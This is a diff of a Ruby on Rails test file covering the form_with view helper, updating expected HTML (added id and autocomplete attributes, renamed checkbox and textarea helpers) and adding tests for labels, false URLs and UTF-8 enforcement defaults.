@@ -216,7 +274,7 @@ def form_with(*)
 
     @post = Post.new
     @comment = Comment.new
-    def @post.errors()
+    def @post.errors
       Class.new {
         def [](field); field == "author_name" ? ["can't be empty"] : [] end
         def empty?() false end
@@ -248,8 +306,10 @@ def @post.to_param; "123"; end
     @post_delegator.title = "Hello World"
 
     @car = Car.new("#000FFF")
+    @controller.singleton_class.include Routes.url_helpers
   end
 
+  RecordForm = Struct.new(:to_model, keyword_init: true)
   Routes = ActionDispatch::Routing::RouteSet.new
   Routes.draw do
     resources :posts do
@@ -266,42 +326,33 @@ def @post.to_param; "123"; end
     root to: "main#index"
   end
 
-  def _routes
-    Routes
-  end
-
   include Routes.url_helpers
 
   def url_for(object)
     @url_for_options = object
 
     if object.is_a?(Hash) && object[:use_route].blank? && object[:controller].blank?
-      object.merge!(controller: "main", action: "index")
+      object[:controller] = "main"
+      object[:action] = "index"
     end
 
     super
   end
 
-  def test_form_with_requires_arguments
-    error = assert_raises(ArgumentError) do
-      form_for(nil, html: { id: "create-post" }) do
-      end
-    end
-    assert_equal "First argument in form cannot contain nil or be empty", error.message
-
-    error = assert_raises(ArgumentError) do
-      form_for([nil, nil], html: { id: "create-post" }) do
+  def test_form_with_when_given_nil_model_argument
+    assert_raises(ArgumentError) do
+      form_with(model: nil) do
       end
     end
-    assert_equal "First argument in form cannot contain nil or be empty", error.message
   end
 
   def test_form_with
     form_with(model: @post, id: "create-post") do |f|
       concat f.label(:title) { "The Title" }
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
+      concat f.select(:category, %w( animal economy sports ))
       concat f.submit("Create post")
       concat f.button("Create post")
       concat f.button {
@@ -311,16 +362,77 @@ def test_form_with
 
     expected = whole_form("/posts/123", "create-post", method: "patch") do
       "<label for='post_title'>The Title</label>" \
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />" \
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />" \
+      "<select name='post[category]' id='post_category'><option value='animal'>animal</option>\n<option value='economy'>economy</option>\n<option value='sports'>sports</option></select>" \
       "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />" \
       "<button name='button' type='submit'>Create post</button>" \
       "<button name='button' type='submit'><span>Create post</span></button>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_with_persisted_to_model
+    post_form = RecordForm.new(to_model: @post)
+
+    form_with(model: post_form) { }
+
+    expected = whole_form("/posts/123", method: :patch) { "" }
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_with_new_record_to_model
+    post_form = RecordForm.new(to_model: Post.new)
+
+    form_with(model: post_form) { }
+
+    expected = whole_form("/posts", method: :post) { "" }
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_button_yields_translation
+    form_with(model: @post) do |f|
+      concat(f.button { |value| concat content_tag(:span, value) })
+    end
+
+    expected = whole_form("/posts/123", method: :patch) do
+      "<button name='button' type='submit'><span>Update Post</span></button>"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_not_outputting_ids
+    old_value = ActionView::Helpers::FormHelper.form_with_generates_ids
+    ActionView::Helpers::FormHelper.form_with_generates_ids = false
+
+    form_with(model: @post, id: "create-post") do |f|
+      concat f.label(:title) { "The Title" }
+      concat f.text_field(:title)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
+      concat f.select(:category, %w( animal economy sports ))
+      concat f.submit("Create post")
+    end
+
+    expected = whole_form("/posts/123", "create-post", method: "patch") do
+      "<label>The Title</label>" \
+      "<input name='post[title]' type='text' value='Hello World' />" \
+      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />" \
+      "<select name='post[category]'><option value='animal'>animal</option>\n<option value='economy'>economy</option>\n<option value='sports'>sports</option></select>" \
+      "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
+    end
+
+    assert_dom_equal expected, @rendered
+  ensure
+    ActionView::Helpers::FormHelper.form_with_generates_ids = old_value
   end
 
   def test_form_with_only_url_on_create
@@ -331,10 +443,10 @@ def test_form_with_only_url_on_create
 
     expected = whole_form("/posts") do
       '<label for="title">Label me</label>' \
-      '<input type="text" name="title">'
+      '<input type="text" name="title" id="title">'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_only_url_on_update
@@ -345,10 +457,10 @@ def test_form_with_only_url_on_update
 
     expected = whole_form("/posts/123") do
       '<label for="title">Label me</label>' \
-      '<input type="text" name="title">'
+      '<input type="text" name="title" id="title">'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_general_attributes
@@ -357,10 +469,26 @@ def test_form_with_general_attributes
     end
 
     expected = whole_form("/posts/123") do
-      '<input type="text" name="no_model_to_back_this_badboy">'
+      '<input type="text" name="no_model_to_back_this_badboy" id="no_model_to_back_this_badboy" >'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_false_url
+    form_with(url: false)
+
+    expected = whole_form(false)
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_model_and_false_url
+    form_with(model: Post.new, url: false)
+
+    expected = whole_form(false)
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_attribute_not_on_model
@@ -369,27 +497,46 @@ def test_form_with_attribute_not_on_model
     end
 
     expected = whole_form("/posts/123", method: :patch) do
-      '<input type="text" name="post[this_dont_exist_on_post]">'
+      '<input type="text" name="post[this_dont_exist_on_post]" id="post_this_dont_exist_on_post" >'
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_doesnt_call_private_or_protected_properties_on_form_object_skipping_value
     obj = Class.new do
-      private def private_property
-        "That would be great."
-      end
+      private
+        def private_property
+          "That would be great."
+        end
 
-      protected def protected_property
-        "I believe you have my stapler."
-      end
+      protected
+        def protected_property
+          "I believe you have my stapler."
+        end
     end.new
 
     form_with(model: obj, scope: "other_name", url: "/", id: "edit-other-name") do |f|
-      assert_dom_equal '<input type="hidden" name="other_name[private_property]">', f.hidden_field(:private_property)
-      assert_dom_equal '<input type="hidden" name="other_name[protected_property]">', f.hidden_field(:protected_property)
+      assert_dom_equal '<input type="hidden" name="other_name[private_property]" id="other_name_private_property" autocomplete="off">', f.hidden_field(:private_property)
+      assert_dom_equal '<input type="hidden" name="other_name[protected_property]"  id="other_name_protected_property" autocomplete="off">', f.hidden_field(:protected_property)
+    end
+  end
+
+  def test_form_with_with_collection_select
+    post = Post.new
+    def post.active; false; end
+    form_with(model: post) do |f|
+      concat f.collection_select(:active, [true, false], :to_s, :to_s)
+    end
+
+    expected = whole_form("/posts") do
+      "<select name='post[active]' id='post_active'>" \
+      "<option value='true'>true</option>\n" \
+      "<option selected='selected' value='false'>false</option>" \
+      "</select>"
     end
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_collection_radio_buttons
@@ -400,14 +547,14 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts") do
-      "<input type='hidden' name='post[active]' value='' />" \
-      "<input name='post[active]' type='radio' value='true' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
+      "<input name='post[active]' type='radio' value='true' id='post_active_true' />" \
       "<label for='post_active_true'>true</label>" \
-      "<input checked='checked' name='post[active]' type='radio' value='false' />" \
+      "<input checked='checked' name='post[active]' type='radio' value='false' id='post_active_false' />" \
       "<label for='post_active_false'>false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_collection_radio_buttons_with_custom_builder_block
@@ -422,16 +569,16 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts") do
-      "<input type='hidden' name='post[active]' value='' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
       "<label for='post_active_true'>" \
-      "<input name='post[active]' type='radio' value='true' />" \
+      "<input name='post[active]' type='radio' value='true' id='post_active_true' />" \
       "true</label>" \
       "<label for='post_active_false'>" \
-      "<input checked='checked' name='post[active]' type='radio' value='false' />" \
+      "<input checked='checked' name='post[active]' type='radio' value='false' id='post_active_false' />" \
       "false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_collection_radio_buttons_with_custom_builder_block_does_not_leak_the_template
@@ -448,17 +595,17 @@ def post.id; 1; end
     end
 
     expected = whole_form("/posts") do
-      "<input type='hidden' name='post[active]' value='' />" \
+      "<input type='hidden' name='post[active]' value='' autocomplete='off' />" \
       "<label for='post_active_true'>" \
-      "<input name='post[active]' type='radio' value='true' />" \
+      "<input name='post[active]' type='radio' value='true' id='post_active_true' />" \
       "true</label>" \
       "<label for='post_active_false'>" \
-      "<input checked='checked' name='post[active]' type='radio' value='false' />" \
+      "<input checked='checked' name='post[active]' type='radio' value='false' id='post_active_false' />" \
       "false</label>" \
-      "<input name='post[id]' type='hidden' value='1' />"
+      "<input name='post[id]' type='hidden' value='1' id='post_id' autocomplete='off' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_index_and_with_collection_radio_buttons
@@ -470,111 +617,111 @@ def post.active; false; end
     end
 
     expected = whole_form("/posts") do
-      "<input type='hidden' name='post[1][active]' value='' />" \
-      "<input name='post[1][active]' type='radio' value='true' />" \
+      "<input type='hidden' name='post[1][active]' value='' autocomplete='off' />" \
+      "<input name='post[1][active]' type='radio' value='true' id='post_1_active_true' />" \
       "<label for='post_1_active_true'>true</label>" \
-      "<input checked='checked' name='post[1][active]' type='radio' value='false' />" \
+      "<input checked='checked' name='post[1][active]' type='radio' value='false' id='post_1_active_false' />" \
       "<label for='post_1_active_false'>false</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_with_with_collection_check_boxes
+  def test_form_with_with_collection_checkboxes
     post = Post.new
     def post.tag_ids; [1, 3]; end
     collection = (1..3).map { |i| [i, "Tag #{i}"] }
     form_with(model: post) do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+      concat f.collection_checkboxes(:tag_ids, collection, :first, :last)
     end
 
     expected = whole_form("/posts") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
-      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' id='post_tag_ids_1' />" \
       "<label for='post_tag_ids_1'>Tag 1</label>" \
-      "<input name='post[tag_ids][]' type='checkbox' value='2' />" \
+      "<input name='post[tag_ids][]' type='checkbox' value='2' id='post_tag_ids_2' />" \
       "<label for='post_tag_ids_2'>Tag 2</label>" \
-      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' id='post_tag_ids_3' />" \
       "<label for='post_tag_ids_3'>Tag 3</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_with_with_collection_check_boxes_with_custom_builder_block
+  def test_form_with_with_collection_checkboxes_with_custom_builder_block
     post = Post.new
     def post.tag_ids; [1, 3]; end
     collection = (1..3).map { |i| [i, "Tag #{i}"] }
     form_with(model: post) do |f|
-      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
-        b.label { b.check_box + b.text }
+      rendered_checkboxes = f.collection_checkboxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.checkbox + b.text }
       end
-      concat rendered_check_boxes
+      concat rendered_checkboxes
     end
 
     expected = whole_form("/posts") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<label for='post_tag_ids_1'>" \
-      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' id='post_tag_ids_1' />" \
       "Tag 1</label>" \
       "<label for='post_tag_ids_2'>" \
-      "<input name='post[tag_ids][]' type='checkbox' value='2' />" \
+      "<input name='post[tag_ids][]' type='checkbox' value='2' id='post_tag_ids_2' />" \
       "Tag 2</label>" \
       "<label for='post_tag_ids_3'>" \
-      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' id='post_tag_ids_3' />" \
       "Tag 3</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_with_with_collection_check_boxes_with_custom_builder_block_does_not_leak_the_template
+  def test_form_with_with_collection_checkboxes_with_custom_builder_block_does_not_leak_the_template
     post = Post.new
     def post.tag_ids; [1, 3]; end
     def post.id; 1; end
     collection = (1..3).map { |i| [i, "Tag #{i}"] }
 
     form_with(model: post) do |f|
-      rendered_check_boxes = f.collection_check_boxes(:tag_ids, collection, :first, :last) do |b|
-        b.label { b.check_box + b.text }
+      rendered_checkboxes = f.collection_checkboxes(:tag_ids, collection, :first, :last) do |b|
+        b.label { b.checkbox + b.text }
       end
-      concat rendered_check_boxes
+      concat rendered_checkboxes
       concat f.hidden_field :id
     end
 
     expected = whole_form("/posts") do
-      "<input name='post[tag_ids][]' type='hidden' value='' />" \
+      "<input name='post[tag_ids][]' type='hidden' value='' autocomplete='off' />" \
       "<label for='post_tag_ids_1'>" \
-      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='1' id='post_tag_ids_1' />" \
       "Tag 1</label>" \
       "<label for='post_tag_ids_2'>" \
-      "<input name='post[tag_ids][]' type='checkbox' value='2' />" \
+      "<input name='post[tag_ids][]' type='checkbox' value='2' id='post_tag_ids_2' />" \
       "Tag 2</label>" \
       "<label for='post_tag_ids_3'>" \
-      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' />" \
+      "<input checked='checked' name='post[tag_ids][]' type='checkbox' value='3' id='post_tag_ids_3' />" \
       "Tag 3</label>" \
-      "<input name='post[id]' type='hidden' value='1' />"
+      "<input name='post[id]' type='hidden' value='1' id='post_id' autocomplete='off' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
-  def test_form_with_index_and_with_collection_check_boxes
+  def test_form_with_index_and_with_collection_checkboxes
     post = Post.new
     def post.tag_ids; [1]; end
     collection = [[1, "Tag 1"]]
 
     form_with(model: post, index: "1") do |f|
-      concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
+      concat f.collection_checkboxes(:tag_ids, collection, :first, :last)
     end
 
     expected = whole_form("/posts") do
-      "<input name='post[1][tag_ids][]' type='hidden' value='' />" \
-      "<input checked='checked' name='post[1][tag_ids][]' type='checkbox' value='1' />" \
+      "<input name='post[1][tag_ids][]' type='hidden' value='' autocomplete='off' />" \
+      "<input checked='checked' name='post[1][tag_ids][]' type='checkbox' value='1' id='post_1_tag_ids_1' />" \
       "<label for='post_1_tag_ids_1'>Tag 1</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_file_field_generate_multipart
@@ -583,10 +730,10 @@ def test_form_with_with_file_field_generate_multipart
     end
 
     expected = whole_form("/posts/123", "create-post", method: "patch", multipart: true) do
-      "<input name='post[file]' type='file' />"
+      "<input name='post[file]' type='file' id='post_file' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_fields_with_file_field_generate_multipart
@@ -597,10 +744,10 @@ def test_fields_with_file_field_generate_multipart
     end
 
     expected = whole_form("/posts/123", method: "patch", multipart: true) do
-      "<input name='post[comment][file]' type='file' />"
+      "<input name='post[comment][file]' type='file' id='post_comment_file'/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_format
@@ -612,7 +759,7 @@ def test_form_with_with_format
       "<label for='post_title'>Title</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_format_and_url
@@ -624,7 +771,7 @@ def test_form_with_with_format_and_url
       "<label for='post_title'>Title</label>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_model_using_relative_model_naming
@@ -636,66 +783,66 @@ def test_form_with_with_model_using_relative_model_naming
     end
 
     expected = whole_form("/posts/44", method: "patch") do
-      "<input name='post[title]' type='text' value='And his name will be forty and four.' />" \
+      "<input name='post[title]' type='text' value='And his name will be forty and four.' id='post_title' />" \
       "<input name='commit' data-disable-with='Edit post' type='submit' value='Edit post' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_symbol_scope
     form_with(model: @post, scope: "other_name", id: "create-post") do |f|
       concat f.label(:title, class: "post_title")
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
       concat f.submit("Create post")
     end
 
     expected = whole_form("/posts/123", "create-post", method: "patch") do
       "<label for='other_name_title' class='post_title'>Title</label>" \
-      "<input name='other_name[title]' value='Hello World' type='text' />" \
-      "<textarea name='other_name[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='other_name[secret]' value='0' type='hidden' />" \
-      "<input name='other_name[secret]' checked='checked' value='1' type='checkbox' />" \
+      "<input name='other_name[title]' value='Hello World' type='text' id='other_name_title' />" \
+      "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='other_name[secret]' value='0' type='hidden' autocomplete='off' />" \
+      "<input name='other_name[secret]' checked='checked' value='1' type='checkbox' id='other_name_secret' />" \
       "<input name='commit' value='Create post' data-disable-with='Create post' type='submit' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_method_as_part_of_html_options
     form_with(model: @post, url: "/", id: "create-post", html: { method: :delete }) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", method: "delete") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret'/>"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_method
     form_with(model: @post, url: "/", method: :delete, id: "create-post") do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", method: "delete") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_search_field
@@ -706,27 +853,49 @@ def test_form_with_with_search_field
     end
 
     expected = whole_form("/search", "search-post", method: "get") do
-      "<input name='post[title]' type='search' />"
+      "<input name='post[title]' type='search' id='post_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_enables_remote_by_default
     form_with(model: @post, url: "/", id: "create-post", method: :patch) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post", method: "patch") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_is_not_remote_by_default_if_form_with_generates_remote_forms_is_false
+    old_value = ActionView::Helpers::FormHelper.form_with_generates_remote_forms
+    ActionView::Helpers::FormHelper.form_with_generates_remote_forms = false
+
+    form_with(model: @post, url: "/", id: "create-post", method: :patch) do |f|
+      concat f.text_field(:title)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
-    assert_dom_equal expected, output_buffer
+    expected = whole_form("/", "create-post", method: "patch", local: true) do
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
+    end
+
+    assert_dom_equal expected, @rendered
+  ensure
+    ActionView::Helpers::FormHelper.form_with_generates_remote_forms = old_value
   end
 
   def test_form_with_skip_enforcing_utf8_true
@@ -735,10 +904,10 @@ def test_form_with_skip_enforcing_utf8_true
     end
 
     expected = whole_form("/", skip_enforcing_utf8: true) do
-      "<input name='post[title]' type='text' value='Hello World' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_skip_enforcing_utf8_false
@@ -747,63 +916,153 @@ def test_form_with_skip_enforcing_utf8_false
     end
 
     expected = whole_form("/", skip_enforcing_utf8: false) do
-      "<input name='post[title]' type='text' value='Hello World' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_default_enforce_utf8_true
+    with_default_enforce_utf8 true do
+      form_with(scope: :post) do |f|
+        concat f.text_field(:title)
+      end
+
+      expected = whole_form("/", skip_enforcing_utf8: false) do
+        "<input name='post[title]' type='text' value='Hello World' id='post_title' />"
+      end
+
+      assert_dom_equal expected, @rendered
+    end
+  end
+
+  def test_form_with_default_enforce_utf8_false
+    with_default_enforce_utf8 false do
+      form_with(scope: :post) do |f|
+        concat f.text_field(:title)
+      end
+
+      expected = whole_form("/", skip_enforcing_utf8: true) do
+        "<input name='post[title]' type='text' value='Hello World' id='post_title' />"
+      end
+
+      assert_dom_equal expected, @rendered
+    end
   end
 
   def test_form_with_without_object
     form_with(scope: :post, id: "create-post") do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/", "create-post") do
-      "<input name='post[title]' type='text' value='Hello World' />" \
-      "<textarea name='post[body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[secret]' type='hidden' value='0' />" \
-      "<input name='post[secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[title]' type='text' value='Hello World' id='post_title' />" \
+      "<textarea name='post[body]' id='post_body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[secret]' checked='checked' type='checkbox' value='1' id='post_secret' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_index
     form_with(model: @post, scope: "post[]") do |f|
       concat f.label(:title)
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", method: "patch") do
       "<label for='post_123_title'>Title</label>" \
-      "<input name='post[123][title]' type='text' value='Hello World' />" \
-      "<textarea name='post[123][body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[123][secret]' type='hidden' value='0' />" \
-      "<input name='post[123][secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[123][title]' type='text' value='Hello World' id='post_123_title' />" \
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[123][secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[123][secret]' checked='checked' type='checkbox' value='1' id='post_123_secret' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_with_nil_index_option_override
     form_with(model: @post, scope: "post[]", index: nil) do |f|
       concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
+      concat f.textarea(:body)
+      concat f.checkbox(:secret)
     end
 
     expected = whole_form("/posts/123", method: "patch") do
-      "<input name='post[][title]' type='text' value='Hello World' />" \
-      "<textarea name='post[][body]'>\nBack to the hill and over it again!</textarea>" \
-      "<input name='post[][secret]' type='hidden' value='0' />" \
-      "<input name='post[][secret]' checked='checked' type='checkbox' value='1' />"
+      "<input name='post[][title]' type='text' value='Hello World' id='post__title' />" \
+      "<textarea name='post[][body]' id='post__body' >\nBack to the hill and over it again!</textarea>" \
+      "<input name='post[][secret]' type='hidden' value='0' autocomplete='off' />" \
+      "<input name='post[][secret]' checked='checked' type='checkbox' value='1' id='post__secret' />"
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_label_passes_translation_to_block_version
+    form_with(model: Post.new) do |f|
+      concat(
+        f.label(:title) do |label|
+          concat content_tag(:span, label)
+        end
+      )
+    end
+
+    expected = whole_form("/posts") do
+      %(<label for="post_title"><span>Title</span></label>)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_label_passes_label_tag_builder_to_block_version
+    form_with(model: Post.new) do |f|
+      concat(
+        f.label(:title) do |builder|
+          concat content_tag(:span, builder.translation)
+        end
+      )
+    end
+
+    expected = whole_form("/posts") do
+      %(<label for="post_title"><span>Title</span></label>)
+    end
+
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_label_accesses_object_through_label_tag_builder
+    form_with(model: Post.new) do |f|
+      concat(
+        f.label(:title) do |builder|
+          concat tag.span(builder, class: ("new_record" unless builder.object.persisted?))
+        end
+      )
+    end
+
+    expected = whole_form("/posts") do
+      %(<label for="post_title"><span class="new_record">Title</span></label>)
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
+  end
+
+  def test_form_with_label_namespace
+    form_with(model: Post.new, namespace: "namespace") do |f|
+      concat f.label(:title, for: "my_title")
+      concat f.text_field(:title, id: "my_title")
+    end
+
+    expected = whole_form("/posts") do
+      "<label for='namespace_my_title'>Title</label>" \
+      "<input id='namespace_my_title' name='post[title]' type='text' />"
+    end
+
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_label_error_wrapping
@@ -815,11 +1074,11 @@ def test_form_with_label_error_wrapping
 
     expected = whole_form("/posts/123", method: "patch") do
       "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" \
-      "<div class='field_with_errors'><input name='post[author_name]' type='text' value='' /></div>" \
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' value='' id='post_author_name' /></div>" \
       "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_label_error_wrapping_without_conventional_instance_variable
@@ -833,11 +1092,11 @@ def test_form_with_label_error_wrapping_without_conventional_instance_variable
 
     expected = whole_form("/posts/123", method: "patch") do
       "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" \
-      "<div class='field_with_errors'><input name='post[author_name]' type='text' value='' /></div>" \
+      "<div class='field_with_errors'><input name='post[author_name]' type='text' value='' id='post_author_name' /></div>" \
       "<input name='commit' data-disable-with='Create post' type='submit' value='Create post' />"
     end
 
-    assert_dom_equal expected, output_buffer
+    assert_dom_equal expected, @rendered
   end
 
   def test_form_with_label_error_wrapping_block_and_non_block_versions
